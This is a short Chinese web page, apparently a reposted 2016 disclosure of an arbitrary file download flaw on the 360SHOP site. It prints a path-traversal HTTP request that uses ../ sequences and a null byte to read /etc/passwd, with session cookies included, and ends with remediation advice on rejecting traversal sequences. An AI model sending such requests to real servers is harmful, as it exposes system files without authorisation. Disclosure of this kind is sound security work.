鸿 网 互 联 www.68idc.cn

360SHOP官网任意系统文件下载漏洞

来源:互联网 作者:佚名 时间:2016-05-07 10:08
GET /?do=../../../../../../../../../../etc/passwd%00.jpgmod=infosort_id=6 HTTP/1.1 Referer: http://www.360shop.com.cn:80/ Cookie: 360shop_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; 36
 
GET /?do=../../../../../../../../../../etc/passwd%00.jpg&mod=info&sort_id=6 HTTP/1.1
Referer: http://www.360shop.com.cn:80/
Cookie: 360shop_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; 360shop_sid=746af76720565c81fde8ba9339cf61ca; 360shop_validity_time=0; PHPSESSID=tcabp4ii7ub0s9ten0i3vgpgm6; CNZZDATA30061204=cnzz_eid%3D1491477717-1364529672-http%253A%252F%252Fwww.360shop.com.cn%26ntime%3D1364529672%26cnzz_a%3D0%26retime%3D1364530090900%26sin%3Djavascript%253AutvG2HHCGOcZZm98()%253C%253E%26ltime%3D1364530090900%26rtime%3D0
Host: www.360shop.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
 
 
 
修复方案:对用户提交的文件名进行相关解码与规范化之后,应用程序应该检查该文件名是否是否包含路径遍历序列(使用反斜线或斜线)或空字节。如果是这样,应用程序应停止处理应用请求。不得尝试对恶意文件名进行任何净化处理! 
 
网友评论
<